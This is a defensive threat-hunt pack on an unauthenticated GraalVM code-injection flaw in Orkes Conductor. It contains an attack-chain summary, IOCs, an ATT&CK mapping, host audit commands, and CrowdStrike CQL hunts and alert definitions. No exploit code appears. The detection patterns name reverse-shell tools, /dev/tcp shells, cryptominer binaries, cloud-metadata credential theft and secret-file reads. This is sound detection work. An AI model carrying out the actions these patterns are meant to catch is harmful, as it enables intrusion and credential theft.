Orkes Conductor — Unauthenticated GraalVM RCE (CVE-2026-58138)
Executive Summary
CVE-2026-58138 (CVSS v3.1 9.8 / v4.0 9.3, CWE-94) is an unauthenticated remote code execution vulnerability in Orkes Conductor, the open-source (Netflix-originated, now Orkes-stewarded) workflow orchestration engine used to choreograge microservices, business processes, and — increasingly — AI agent pipelines. Conductor's INLINE, LAMBDA, DO_WHILE, and SWITCH task types evaluate user-supplied JavaScript or Python expressions inside a GraalVM script context. Versions 3.21.21 through 3.30.1 build that context with HostAccess.ALL (JavaScript) or allowAllAccess(true) (Python), which disables the sandbox entirely. Because the open-source Conductor server enforces no authentication by default, an unauthenticated remote attacker can submit a single HTTP POST registering a workflow definition with a hostile INLINE task, start it, and reflect out of the script engine into java.lang.Runtime/ProcessBuilder to execute arbitrary OS commands — with the privileges of the Conductor process, which in the default container image is frequently root.
The fix shipped quietly on 2026-06-03 in release 3.30.2 (described in the release notes only as "restricting GraalVM JavaScript further," with no CVE reference or security label); the CVE itself was not published until 2026-06-30, almost four weeks later. Public proof-of-concept exploit code targeting Conductor v3.23.0 was published as Exploit-DB entry EDB-52633 on 2026-08-09, and exploitation began shortly after: Previdian's honeypot telemetry recorded three exploitation attempts from two unique IP addresses (in France and the U.S.) starting 2026-07-24, and Empirical Security's sensor network observed in-the-wild exploitation recurring across multiple windows, most recently 2026-08-21. Fortinet's FortiGuard Labs, in a Threat Signal Report and Outbreak Alert issued 2026-09-09 and 2026-09-15, reported blocking 1,290 attack attempts in a single 24-hour period as of 2026-09-09 (a 132% day-over-day increase) and 6,696 attempts over the preceding seven days (up 17% week-over-week) — with the highest-volume attack activity originating from Germany, Hong Kong, Indonesia, the United Arab Emirates, and India. As of 2026-09-19, CVE-2026-58138 is not listed in the CISA KEV catalog, meaning organizations that gate patch urgency on KEV status alone would miss it entirely — see the callout in §2.
Huntability — read this first. Unlike an appliance-firmware CVE with zero EDR visibility, Conductor is ordinary JVM software running on a host or in a container that can carry a Falcon sensor. The pre-auth HTTP exploitation step and the in-JVM GraalVM script evaluation itself cross no process boundary and are therefore invisible to Falcon (they require web/application-log ingestion via Falcon Next-Gen SIEM to see directly) — but the moment the attacker's script reflects intoRuntime/ProcessBuilder and spawns an actual OS process, every downstream step (child-process spawn, file write, outbound connection, persistence, resource hijacking) is ordinary, well-instrumented Falcon process/network telemetry provided the sensor covers the specific host or container Conductor runs in. That caveat matters: Conductor is frequently deployed in short-lived Kubernetes pods, and sensor coverage of ephemeral container workloads is commonly incomplete. See §5 and §15 for the full honesty accounting.
Source Review & Web Hunter Notes
| Tier | Source | Key Finding | Carry Forward |
|---|---|---|---|
| Tier 2 | The Hacker News — "Critical Pre-Auth RCE in Orkes Conductor Workflow Platform Exploited in the Wild" (Sep 19, 2026) | Consolidated report: NVD description, Fortinet outbreak alert stats, Previdian honeypot data (3 attempts since Jul 24, France/US source IPs), Empirical Security exploitation date (Aug 21) | Yes |
| Tier 1 | FortiGuard Labs — Outbreak Alert "Orkes Conductor Evaluator Remote Code Execution" (released Sep 15, 2026) | Active attack-attempt telemetry, Exploit-DB EDB-52633 publication date (Aug 9, 2026), IPS/detection coverage, patch guidance | Yes |
| Tier 1 | FortiGuard Labs — Threat Signal Report #6527 (Sep 9, 2026) | Exact attempt counts (1,290/24h, 6,696/7d), source-country breakdown, detailed mitigation checklist, FortiEDR post-exploitation coverage description | Yes |
| Tier 1 | NIST NVD — CVE-2026-58138 record (live REST API, services.nvd.nist.gov) | Official CVSS v3.1/v4.0 vectors, CWE-94, affected version range (semver 3.21.21 – <3.30.2), published/modified dates, SSVC data, GitHub commit/release references | Yes |
| Tier 2 | Empirical Security — "September 2026 CVE of the Month: The 9.8 Nobody Knows They Are Running" (Sep 1, 2026) | Deep technical writeup: exact GraalVM config (HostAccess.ALL, allowAllAccess(true)), 3.30.2 fix internals (blocks Runtime/ProcessBuilder/Process/System + reflection, disables host class loading/native access/thread+process creation/file+env access), exposure-discovery guidance (port 8080, "Conductor UI" title, /swagger-ui, conductoross/conductor images), native hunt guidance (watch for sh -c/cmd children), no-KEV-listing note, Empirical's own exploitation telemetry | Yes |
| Tier 2 | SecurityWeek — "Critical Orkes Conductor Vulnerability Exploited in Attacks" (Sep 18, 2026) | Independent corroboration of Empirical/Fortinet findings, confirms exploitation "for at least a month" prior to report date | Yes |
| Tier 2 | GitHub — 0xgh057r3c0n/CVE-2026-58138 public PoC repository | Confirms INLINE-task/GraalVM eval mechanism and Runtime.exec() technique; sample tool output shows the exploited process runs as a dedicated conductor UID/GID (1000:1000) inside a Kubernetes-style pod (conductor-server-<hash>-<suffix> hostname pattern) in at least one deployment shape — not always root, contra the "often root" default-container framing in other sources | Partial — technical mechanism only; no exploit code reproduced in this pack (see disclaimer below) |
| Tier 2 | DEV Community (Anoymask) — structured exploitation-activity brief citing Empirical Security (Sep 19, 2026) | Independent restatement with an explicit observable-logs / hunt-angle breakdown (EDR: "child processes such as shells, Python, or curl spawned by the Java or Conductor process") that matches this pack's hunt design | Yes — corroborating, not primary |
| Tier 2 | Bellator Cyber Guard — "Orkes Conductor Flaw Under Active Attack, Patch Now" (Sep 19, 2026) | MSP-oriented restatement; explicitly flags that attribution/scale/technical-exploitation-detail claims beyond vendor reporting are unconfirmed | Partial — general audience framing only |
| — cross-checked, not carried — | The Hacker News — "CISA Adds Seven Exploited Flaws as Attackers Deploy Reverse Shells and Crypto Miners" (Sep 3, 2026) | Confirmed this article is about a different CVE (CVE-2026-49869, Kestra OSS command injection) — a different but structurally analogous unauthenticated-RCE-in-a-workflow-orchestration-platform case. It is cited in §7/§8 as a documented precedent for the post-exploitation pattern (reverse shell → container discovery → cryptominer), NOT as evidence that reverse shells or miners have been confirmed for CVE-2026-58138 specifically. | Analogy only — explicitly labelled as such everywhere it is used |
0xgh057r3c0n/CVE-2026-58138) contains a working unauthenticated-RCE exploit script and usage instructions. This pack cites the repository for its confirmation of the exploitation mechanism (INLINE-task GraalVM eval → Runtime.exec()) and its illustrative sample output only. No exploit code, workflow-definition payload, or step-by-step reproduction instructions from that repository (or from FortiGuard's referenced Exploit-DB entry EDB-52633) are reproduced anywhere in this pack, per the defensive-content-only requirement.
Confidence assessment: High confidence in the vulnerability mechanism, affected version range, fix details, and active-exploitation timeline — independently corroborated across NVD (authoritative), two Fortinet publications, Empirical Security's own sensor telemetry, SecurityWeek, and a working public PoC. Medium confidence in exact scope (no public count of compromised/scanned Conductor instances was found, unlike some campaigns). No file hashes, C2 IP addresses, C2 domains, or malware family names were published in any reachable source for this specific campaign — none are shipped as atomic IOCs in this pack (see §4). Intel is perishable: this is an active, still-scanning campaign as of the most recent source publish date (2026-09-19), and FortiGuard's own trend data shows attack volume still increasing week-over-week.
Hunt Brief & Attack Chain
| # | Step | Detail | Falcon-Visible? | Hunt Angle |
|---|---|---|---|---|
| 1 | Exposure / discovery | Attacker (or defender) scans for internet-reachable Conductor Workflow API — default port 8080, UI page titled "Conductor UI," Swagger explorer at /swagger-ui. | No — pre-auth network scan | §7 native checks; §8 Q1/Q2 (defender-side inventory) |
| 2 | Weaponized workflow registration | Unauthenticated HTTP POST to /api/metadata/workflow registers a workflow definition containing an INLINE/LAMBDA/DO_WHILE/SWITCH task with a malicious JavaScript or Python expression. | No — HTTP layer, needs NG SIEM app-log ingestion | None (Falcon endpoint); §5 notes the gap |
| 3 | Workflow execution / sandbox escape | Conductor starts the workflow; the GraalVM context (HostAccess.ALL / allowAllAccess(true) on unpatched versions) evaluates the expression; the script reflects into java.lang.Runtime / ProcessBuilder. | No — in-JVM, no process boundary crossed yet | None directly; Q3 is the downstream proxy |
| 4 | OS command execution | A shell or interpreter (sh, bash, curl, wget, python, node, powershell) spawns as a child of the Conductor JVM process, running as the Conductor service account (often root in default containers). | Yes | §8 Q3 (core detection, IOA candidate) |
| 5 | Recon / credential harvesting | Spawned process reads workflow-definition secrets or environment variables, and/or queries the cloud Instance Metadata Service (169.254.169.254) for cloud credentials. | Yes | §8 Q6 (IOA candidate), Q7 |
| 6 | C2 / tooling retrieval | Spawned process fetches additional tooling (reverse shell, cryptominer, further payloads) over an outbound connection from the Conductor host. | Yes | §8 Q5, Q8 (IOA candidate), Q9 |
| 7 | Persistence | Attacker installs a cron entry or systemd unit to survive Conductor/container restarts. | Partial — VM/host strong, ephemeral containers weak | §8 Q10 |
| 8 | Impact | Resource hijacking (cryptomining) on the compromised host, lateral movement using harvested credentials, or exfiltration of data/secrets reachable through Conductor's workflow connections. | Partial — generic downstream signal | §8 Q9; standard identity/lateral-movement hunting (out of scope for this pack) |
Consolidated IOC Table
This is a server-side application vulnerability with no published campaign-specific network or file IOCs (no attacker C2 IPs, domains, or malware hashes were found in any snapshotted source). The table below lists the concrete, sourced technical fingerprints that ARE published — version ranges, ports, endpoint paths, and task-type identifiers — which drive the exposure-discovery and behavioral queries in §8.
| Type | Value | Confidence | Action | Context | Source |
|---|---|---|---|---|---|
| CVE | CVE-2026-58138 | High | Patch | CVSS 9.8 (v3.1) / 9.3 (v4.0), CWE-94 (Code Injection) | NVD |
| Affected version range | conductor-oss/conductor 3.21.21 – < 3.30.2 | High | Inventory / Patch | Semver range from the official NVD affected-products record | NVD |
| Fixed version | 3.30.2 (released 2026-06-03; do not stop at 3.30.0/3.30.1, which shipped only a partial blocklist) | High | Patch | Restricts GraalVM further: blocks Runtime/ProcessBuilder/Process/System + reflection; disables host class loading, native access, thread/process creation, file/env access | Empirical Security |
| Default port | TCP 8080 | High | Discover / Restrict exposure | Conductor Workflow API and UI default listener | Empirical Security |
| Vulnerable API endpoints | /api/metadata/workflow, /api/workflow | High | Restrict / Monitor | Unauthenticated-by-default workflow registration and execution endpoints | Empirical Security |
| Fingerprint (UI) | Page title "Conductor UI"; Swagger explorer at /swagger-ui | High | Discover | Recommended Shodan/Censys query: http.title:"Conductor UI" | Empirical Security |
| Fingerprint (container) | conductoross/conductor image family | Medium | Discover | Check container/orchestration inventory for this image or related Helm charts | Empirical Security |
| Abused task types | INLINE, LAMBDA, DO_WHILE, SWITCH | High | Hunt (workflow-definition review) | Task types that evaluate user-supplied script expressions | NVD, Empirical Security, GitHub PoC |
| Abused evaluator types | javascript, graaljs, python | High | Hunt (workflow-definition review) | GraalVM evaluator configuration values to flag when combined with reflection keywords | Empirical Security |
| Exploit reference | Exploit-DB EDB-52633 | High | Reference | Public weaponized PoC, published 2026-08-09, targets Conductor v3.23.0 | FortiGuard Outbreak Alert, Empirical Security |
| Attack-source geography | Germany, Hong Kong, Indonesia, U.A.E., India (highest volume); France, U.S. (Previdian honeypot, low volume) | Medium | Context only — not a blocklist | Aggregate scanning-source geography, not durable per-IP infrastructure | FortiGuard Threat Signal #6527, The Hacker News (Previdian) |
Affected Surface & Telemetry Matrix
| Platform / Surface | Required Telemetry | Priority | Gap Risk |
|---|---|---|---|
| Conductor host/container (Linux, JVM) — process & file telemetry | ProcessRollup2, ElfFileWritten, NewExecutableWritten | Critical | Medium — good if the Falcon sensor covers the specific host/pod; Conductor is frequently deployed in short-lived Kubernetes pods where DaemonSet/sidecar sensor coverage is commonly incomplete |
| Conductor host — network telemetry | NetworkConnectIP4, NetworkListenIP4, DnsRequest | High | Low — standard sensor coverage once the host/container is enrolled |
| Pre-auth HTTP layer (the Workflow API request itself) | Application/access logs via Falcon Next-Gen SIEM (not a native Falcon endpoint event) | High | High — not assumed present; this pack ships no CQL for this layer because it is not endpoint telemetry |
| Cloud Instance Metadata Service / credential provider | NetworkConnectIP4 to 169.254.169.254 | High | Low-Medium — well covered by Q6, but only fires for the shelled-out (curl/wget) retrieval pattern, not the JVM's own in-process SDK credential calls |
| Kubernetes / container orchestration layer | kubectl/pod-audit-log review (native, non-Falcon) | Medium | Medium — depends on whether Falcon Cloud Security / container-runtime sensor is deployed; not assumed present in this pack's CQL |
| Downstream Falcon-covered assets reached via harvested Conductor credentials | UserLogon, Identity Protection telemetry | Medium | Medium — standard credential-reuse hunting, out of this pack's primary scope; see the team's general lateral-movement query library |
ATT&CK Mapping
| Tactic | Technique ID | Technique Name | Observed / Expected Behavior | Falcon-Visible |
|---|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | Unauthenticated POST to the exposed Conductor Workflow API | Gap — HTTP layer |
| Execution | T1059.007 / T1059.006 | Command & Scripting Interpreter: JavaScript / Python | Malicious expression evaluated inside the GraalVM context of an INLINE/LAMBDA/DO_WHILE/SWITCH task | Gap — in-JVM |
| Execution | T1106 | Native API | Java reflection invoking java.lang.Runtime / ProcessBuilder from the script engine | Gap — in-JVM; Q3 is the downstream proxy |
| Execution | T1059.004 | Command & Scripting Interpreter: Unix Shell | Spawned sh/bash child process running the attacker's command | Yes (Q3) |
| Credential Access | T1552.001 | Unsecured Credentials: Credentials In Files | Reading secrets embedded in workflow definitions or environment variables | Partial (Q7) |
| Credential Access | T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | Shelled-out request to 169.254.169.254 for cloud IAM credentials | Yes (Q6) |
| Command & Control | T1105 | Ingress Tool Transfer | curl/wget retrieving second-stage tooling | Yes (Q3, Q5) |
| Command & Control | T1071.001 | Application Layer Protocol: Web Protocols | Outbound connection from the Conductor process for C2/tool retrieval (generic; no named C2 infra published) | Partial (Q5) |
| Command & Control | T1059 (adjacent) | Interactive Reverse Shell (/dev/tcp technique) | Generic post-exploitation pattern, precedented by the analogous Kestra/CISA case — not confirmed for this campaign specifically (see §2) | Yes (Q8) |
| Persistence | T1053.003 | Scheduled Task/Job: Cron | Cron entry installed by a Conductor/shell-descended process | Partial (Q10) — weak on ephemeral containers |
| Persistence | T1543.002 | Create or Modify System Process: Systemd Service | Systemd unit installed for restart-survival on VM/host deployments | Partial (Q10) |
| Impact | T1496 | Resource Hijacking | Cryptomining process spawned on the compromised host; generic pattern, not confirmed for this campaign specifically (see §2) | Partial (Q9) |
| Privilege Escalation / Defense Evasion | T1611 | Escape to Host | Potential container-to-host escape given frequent root execution; no confirmed reporting of this occurring in this campaign | Gap — unconfirmed, not hunted directly in this pack |
Native Audit-Log Hunts (Non-CQL, Host / Kubernetes)
Defensive discovery and audit commands to run against Conductor deployments you own or administer — these confirm exposure, version, and on-host compromise indicators that sit outside Falcon's endpoint telemetry (the exploitation HTTP request itself, and Conductor's own workflow-definition store).
! 1. Identify Conductor by process command line
ps -ef | grep -i conductor-server
! 2. Confirm the listening port and bind address
ss -ltnp | grep 8080
! 3. Fingerprint the deployed version from the container image tag or jar manifest
docker inspect <container_id> --format '{{.Config.Image}}'
unzip -p /app/libs/conductor-server-*.jar META-INF/MANIFEST.MF 2>/dev/null | grep -i Implementation-Version
! 4. Confirm whether the Workflow API answers without authentication
! (run only against systems you own/administer -- this is a reachability
! check, not an exploitation attempt)
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:8080/api/metadata/workflow
! 5. Review registered workflow definitions for INLINE/LAMBDA/DO_WHILE/SWITCH
! tasks whose evaluatorType is javascript/graaljs/python and whose expression
! text references getClass, forName, Runtime, ProcessBuilder, or reflection
curl -s http://localhost:8080/api/metadata/workflow | grep -iE "INLINE|LAMBDA|DO_WHILE|SWITCH|evaluatorType"
! 6. Inspect crontab and systemd units for the Conductor service account
crontab -l -u conductor 2>/dev/null
systemctl list-units --type=service | grep -i conductor
find /etc/cron.d /etc/systemd/system -newer /var/log/conductor -type f 2>/dev/null
! 7. Kubernetes: enumerate Conductor workloads and image versions fleet-wide
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.containers[*].image}{"\n"}{end}' | grep -i conductor
! 8. Kubernetes: confirm the pod is not running as root / privileged
kubectl get pod <conductor-pod> -o jsonpath='{.spec.securityContext}{"\n"}{.spec.containers[*].securityContext}'
CrowdStrike LogScale CQL Hunt Queries
// HUNT: Fleet-Wide Inventory of Hosts Listening on Conductor's Default Port (8080) // MITRE: T1190 (Exploit Public-Facing Application -- exposure-discovery angle) // CONF: medium // FP: medium // COST: low // REQUIRES: NetworkListenIP4 on any Falcon-covered host/container // FALSE POSITIVES: any other service bound to 8080 (Tomcat, Jenkins, custom apps) -- this is an inventory query, not a detection; cross-reference hits with Q2's command-line signature to confirm it is actually Conductor. // TUNING: once confirmed, maintain the resulting host list as your Conductor asset inventory and scope Q3/Q5/Q6/Q7/Q8/Q9/Q10 to it if you want lower-noise, host-scoped variants. #event_simpleName=/^NetworkListenIP4$/ | LocalPort=8080 | table([@timestamp, aid, ComputerName, LocalAddressIP4, LocalPort, ContextBaseFileName]) | sort(@timestamp, order=desc)
// HUNT: Fleet-Wide Inventory of Hosts Running a Conductor Server Process // MITRE: T1190 (exposure-discovery angle) // CONF: high // FP: low // COST: low // REQUIRES: ProcessRollup2 on any Falcon-covered host/container // FALSE POSITIVES: none expected -- the conductor-server jar name is specific; a hit reliably confirms Conductor is present. // TUNING: none needed. Cross-reference the CommandLine output against your patch-tracking system to identify which hosts are on the vulnerable 3.21.21-3.30.1 range vs 3.30.2+. #event_simpleName=/^ProcessRollup2$/ | FileName=/^java$/i | CommandLine="*conductor-server*" | groupBy([ComputerName], function=([count(as=Hits), collect([CommandLine], limit=3)]), limit=500) | sort(Hits, order=desc)
// HUNT: Java (Conductor) Process Spawning a Shell or Interpreter Child -- the Downstream // Proxy for GraalVM Sandbox-Escape Execution (the escape itself is in-JVM and not // directly visible to Falcon; this is the first process-boundary crossing after it) // MITRE: T1059.004 (Unix Shell), T1106 (Native API -- proxy), T1105 (Ingress Tool Transfer) // CONF: high // FP: medium // COST: low // REQUIRES: ProcessRollup2 on any Falcon-covered host/container running Conductor // FALSE POSITIVES: a small number of legitimate Conductor SHELL-type system tasks or // custom subprocess-based task workers may spawn interpreters directly; healthy CI/CD // sidecars sharing the same host are also possible. // TUNING: scope ParentCommandLine to hosts confirmed via Q2 to be running conductor-server; // if a specific Conductor deployment legitimately uses SHELL-type tasks, allowlist that // task worker's known command-line pattern rather than excluding the whole parent image. #event_simpleName=/^ProcessRollup2$/ | ParentBaseFileName=/^java$/i | FileName=in(["sh","bash","dash","ash","curl","wget","python","python3","node","perl","nc","ncat","socat","powershell","pwsh"]) | table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName]) | sort(@timestamp, order=desc)
// HUNT: New Executable Written Into /tmp (or Similar Working Directory) by a // Java-Parented Process -- staged second-stage tooling after RCE // MITRE: T1105 (Ingress Tool Transfer) // CONF: medium // FP: high // COST: medium // REQUIRES: ElfFileWritten / NewExecutableWritten on Falcon-covered hosts/containers // FALSE POSITIVES: the JVM legitimately writes temporary jars, native library extracts, // and log/cache files under /tmp constantly during normal operation. // TUNING: narrow to executable file types only (already done via event selection); cross- // reference hits against Q3 output in the same time window -- a temp-dir write that // follows a Q3 shell-spawn from the same aid within minutes is materially higher-confidence // than either signal alone. #event_simpleName=/^(ElfFileWritten|NewExecutableWritten)$/ | ContextBaseFileName=/^java$/i | TargetFileName="/tmp/*" | table([@timestamp, aid, ComputerName, TargetFileName, ContextBaseFileName, UserName]) | sort(@timestamp, order=desc)
// HUNT: Outbound Connections From the Conductor Process to Public (Non-RFC1918) Addresses // MITRE: T1071.001 (Application Layer Protocol: Web Protocols) // CONF: medium // FP: high // COST: medium // REQUIRES: NetworkConnectIP4 on Falcon-covered hosts/containers running Conductor // FALSE POSITIVES: Conductor's entire job is to call external HTTP task endpoints, webhooks, // and SaaS integrations -- legitimate outbound egress is its normal operating behavior, so // this query is intentionally broad and high-FP by design. // TUNING: build an allowlist of your environment's known legitimate Conductor task-integration // destinations (webhook targets, SaaS APIs) and exclude them; without that allowlist this // query is only useful as a triage aid alongside a Q3/Q4 hit, not as a standalone alert. #event_simpleName=/^NetworkConnectIP4$/ | ContextBaseFileName=/^java$/i | CommandLine="*conductor*" | !cidr(RemoteAddressIP4, subnet=["10.0.0.0/8","172.16.0.0/12","192.168.0.0/16"]) | table([@timestamp, aid, ComputerName, UserName, RemoteAddressIP4, RemotePort, ContextBaseFileName]) | sort(@timestamp, order=desc)
// HUNT: External Process (curl/wget) Reaching 169.254.169.254 -- Cloud IMDS Credential Theft // MITRE: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API) // CONF: high // FP: low // COST: low // REQUIRES: NetworkConnectIP4 on Falcon-covered, cloud-hosted hosts/containers // FALSE POSITIVES: rare -- legitimate cloud-SDK credential refresh happens IN-PROCESS inside // the JVM's own HTTP client and does not spawn curl/wget as a separate process, so this // query is scoped specifically to the higher-confidence shelled-out retrieval pattern an // attacker's spawned shell would use. A custom health-check or init script invoking curl // against the metadata service is the main expected false positive. // TUNING: if your environment has a known legitimate script that curls the metadata service // (e.g. a cloud-init health check), exclude its specific ParentBaseFileName/CommandLine. // NOTE: 169.254.169.254 is the standard, non-routable IANA link-local cloud-metadata address // used by AWS/Azure/GCP/OCI -- it is not attacker infrastructure and is not treated as a // provenance-tracked atomic indicator. #event_simpleName=/^NetworkConnectIP4$/ | RemoteAddressIP4="169.254.169.254" | ContextBaseFileName=in(["curl","wget"]) | table([@timestamp, aid, ComputerName, ParentBaseFileName, ContextBaseFileName, UserName]) | sort(@timestamp, order=desc)
// HUNT: Java-Parented Shell Reading Environment Variables or Secret-Named Files --
// Credential/Secret Harvesting From Workflow Definitions or the Process Environment
// MITRE: T1552.001 (Unsecured Credentials: Credentials In Files)
// CONF: medium
// FP: high
// COST: low
// REQUIRES: ProcessRollup2 on Falcon-covered hosts/containers running Conductor
// FALSE POSITIVES: legitimate operational/debug commands ("env", "cat .env") run by admins
// or CI/CD tooling on the same host are common and will outnumber true positives.
// TUNING: correlate with a Q3 shell-spawn from the same aid in the preceding few minutes;
// treat an isolated hit with no accompanying Q3 activity as low priority.
#event_simpleName=/^ProcessRollup2$/
| ParentBaseFileName=/^java$/i
| FileName=/^(cat|env|printenv|grep|find)$/i
| CommandLine=/(secret|password|credential|token|apikey|\.env)/i
| table([@timestamp, aid, ComputerName, FileName, CommandLine, UserName])
| sort(@timestamp, order=desc)
// HUNT: Bash /dev/tcp Pseudo-Device Reverse Shell (Any Parent, Fleet-Wide) // MITRE: T1059 (adjacent) -- classic post-RCE interactive reverse shell technique // CONF: high // FP: low // COST: low // REQUIRES: ProcessRollup2 on any Falcon-covered host (not scoped to Conductor) // FALSE POSITIVES: rare -- legitimate scripts occasionally use /dev/tcp for lightweight // port-checks, but the pattern is uncommon enough that any hit warrants review. // TUNING: none required for the base query. If a known internal tool legitimately uses this // syntax for health checks, allowlist its specific ComputerName/CommandLine pattern. // NOTE: this is a GENERIC post-exploitation pattern, not a confirmed Orkes Conductor campaign // TTP -- it is precedented by the analogous, CISA-referenced Kestra OSS (CVE-2026-49869) // case (see Section 2), shipped here as defense-in-depth for ANY unauthenticated-RCE // foothold including this one. #event_simpleName=/^ProcessRollup2$/ | CommandLine="*dev/tcp*" | table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName]) | sort(@timestamp, order=desc)
// HUNT: Known Cryptominer Binary Names Spawned From a Java/Shell/Curl/Wget Lineage // MITRE: T1496 (Resource Hijacking) // CONF: medium // FP: low // COST: low // REQUIRES: ProcessRollup2 on Falcon-covered hosts/containers running Conductor // FALSE POSITIVES: none expected under normal operation -- but attackers commonly rename // miner binaries, so this is a low-recall, high-precision opportunistic net-catch, not a // primary detection. Do not rely on this alone. // TUNING: none needed; supplement with generic CPU/thermal anomaly monitoring outside CQL // scope for miners that use an unlisted binary name. // NOTE: this is a GENERIC post-exploitation pattern, not a confirmed Orkes Conductor campaign // TTP -- see the Section 2 callout on the CISA/Kestra reverse-shell-and-miner precedent. #event_simpleName=/^ProcessRollup2$/ | ParentBaseFileName=in(["java","sh","bash","curl","wget"]) | FileName=/^(xmrig|minerd|cpuminer|kinsing|xmr-stak|ccminer|t-rex|phoenixminer)$/i | table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName]) | sort(@timestamp, order=desc)
// HUNT: Crontab/Systemd Modification Invoked From a Java or Shell Parent -- Post-RCE Persistence // MITRE: T1053.003 (Scheduled Task/Job: Cron), T1543.002 (Systemd Service) // CONF: medium-high // FP: medium // COST: low // REQUIRES: ProcessRollup2 on Falcon-covered hosts/containers running Conductor // FALSE POSITIVES: configuration-management tooling (Ansible, Chef, Puppet) legitimately runs // crontab/systemctl, but is very rarely parented directly by the Conductor JVM or one of its // shell children -- most legitimate CM tooling runs as its own top-level process. // TUNING: exclude your known CM/orchestration tooling's process lineage if it is genuinely // parented by java for some reason in your environment; note this is much weaker signal on // ephemeral Kubernetes pods, which rarely persist cron/systemd changes across restarts. #event_simpleName=/^ProcessRollup2$/ | ParentBaseFileName=in(["java","sh","bash"]) | FileName=/^(crontab|systemctl|systemd-run|at)$/i | table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName]) | sort(@timestamp, order=desc)
CrowdStrike Custom IOA Recommendations
Three queries are promotable to scheduled detections / Custom IOAs today; the remainder stay investigate-only pending environment-specific FP tuning (see badges in §8).
IOA Candidate 1 — Q3: Conductor JVM Spawning a Shell/Interpreter Child
| Field | Value |
|---|---|
| Scheduled Search name | DETECT — Conductor JVM Spawns Shell/Interpreter (CVE-2026-58138) |
| Description | Fires when a Java process (identified as the parent) spawns a shell, interpreter, or common attacker tool (sh, bash, python, curl, wget, node, nc, powershell). This is the first Falcon-visible step after a successful GraalVM sandbox escape. |
| Alert email subject | [CRITICAL] Detection: Java Process Spawned a Shell/Interpreter — Possible Conductor RCE (CVE-2026-58138) |
| Alert email body | A Java process on ComputerName / aid spawned FileName (command line: CommandLine) running as UserName. If this host runs Orkes Conductor OSS on a version between 3.21.21 and 3.30.1, this pattern matches the known post-exploitation signature for CVE-2026-58138, a critical unauthenticated RCE via GraalVM script-evaluator escape. Immediate action: confirm whether this host runs Conductor and at what version (§7 checks), preserve the full process tree and command line, and treat the finding as a confirmed compromise if the version is unpatched. |
| Triage checklist |
1. Confirm the parent Java process is Conductor via Q2's command-line signature or §7 checks. 2. Pull the full process tree (grandparent, parent, child, command line, working directory). 3. Check the Conductor version against the vulnerable range (3.21.21 – < 3.30.2). 4. Review recently registered workflow definitions for INLINE/LAMBDA/DO_WHILE/SWITCH tasks (§7 step 5). 5. Run Q4 (temp-dir writes), Q5 (outbound connections), and Q6 (IMDS access) for the same aid/time window. 6. If the version is confirmed vulnerable and the process lineage is unexplained, isolate the host/pod. 7. Rotate any credentials or secrets referenced in workflow definitions or environment variables on the host. 8. Patch to Conductor 3.30.2+ and open a formal IR case if compromise is confirmed. |
| Pivot queries | Host-scoped: add | aid="<aid>" to Q4/Q5/Q6/Q7/Q9/Q10 and run against 30 days. Environment-wide: run Q2 unscoped to find every other Conductor host that may share the same exposure. |
IOA Candidate 2 — Q6: Curl/Wget Reaching Cloud Instance Metadata Service
| Field | Value |
|---|---|
| Scheduled Search name | DETECT — Shelled-Out Process Queries Cloud IMDS (Credential Theft) |
| Description | Fires when curl or wget, rather than an application's own in-process SDK, queries the cloud instance metadata service (169.254.169.254). This is a high-confidence signal of shell-based cloud-credential theft, commonly following an RCE foothold such as CVE-2026-58138. |
| Alert email subject | [HIGH] Detection: Curl/Wget Queried Cloud Instance Metadata Service — Possible Credential Theft |
| Alert email body | Host ComputerName / aid ran ContextBaseFileName (parent: ParentBaseFileName) to query the cloud instance metadata service, a technique used to steal the host/pod's cloud IAM credentials after gaining code execution. Immediate action: identify what IAM role/instance profile is attached to this host, assume its credentials are compromised, rotate or revoke them, and correlate with Q3 for the initial-access process tree. |
| Triage checklist |
1. Confirm the process lineage — is ParentBaseFileName java, sh, or bash (consistent with post-RCE activity)? 2. Identify the IAM role/instance profile attached to the underlying instance or pod. 3. Check CloudTrail/cloud-provider audit logs for API calls using that role's credentials around and after this timestamp. 4. Run Q3 for the same aid to find the originating shell-spawn event. 5. Revoke/rotate the affected role's credentials or session tokens immediately. 6. Escalate to cloud security/IR — credential theft via IMDS frequently precedes lateral movement into other cloud resources. |
| Pivot queries | Host-scoped: | aid="<aid>" against Q3/Q4/Q7 for the surrounding 30 minutes. Environment-wide: run Q6 unscoped across the fleet to check for the same pattern on other cloud-hosted assets. |
IOA Candidate 3 — Q8: /dev/tcp Reverse Shell (Fleet-Wide)
| Field | Value |
|---|---|
| Scheduled Search name | DETECT — Bash /dev/tcp Reverse Shell (Fleet-Wide) |
| Description | Fires on the classic bash /dev/tcp pseudo-device reverse-shell technique, regardless of parent process. Not specific to Conductor exploitation, but a well-precedented post-RCE follow-on (see §2 Kestra/CISA analogy) worth alerting on fleet-wide. |
| Alert email subject | [HIGH] Detection: /dev/tcp Reverse Shell Syntax Observed |
| Alert email body | Host ComputerName / aid executed a command referencing the /dev/tcp pseudo-device (command line: CommandLine), the standard bash-native reverse-shell technique. This pattern is rarely legitimate. Immediate action: isolate the host pending triage and pull the full process tree and network connections for the affected aid. |
| Triage checklist |
1. Pull the full process tree and command line for the flagged event. 2. Check for a corresponding outbound connection via Q5/NetworkConnectIP4 from the same aid. 3. Determine whether the host runs Conductor (Q2) — if so, correlate with Q3/Q6. 4. Isolate the host if the activity is unexplained. 5. Preserve forensic artifacts before remediation. |
| Pivot queries | Host-scoped: | aid="<aid>" against Q3, Q5, Q9, Q10 for the surrounding hour. |
Investigate-Only Queries (Q1, Q2, Q4, Q5, Q7, Q9, Q10)
| Query | Hunt Description | Investigation Notes |
|---|---|---|
| Q1 | Inventories hosts listening on Conductor's default port. | Exposure discovery, not a detection — cross-reference with Q2 to confirm it is actually Conductor. |
| Q2 | Inventories hosts running a Conductor server process via command-line signature. | High confidence, low noise — the practical starting point for scoping every other query to your real Conductor fleet. |
| Q4 | Flags new executables written to /tmp by a Java-parented process. | High legitimate-JVM-activity rate; correlate with Q3 before triage. |
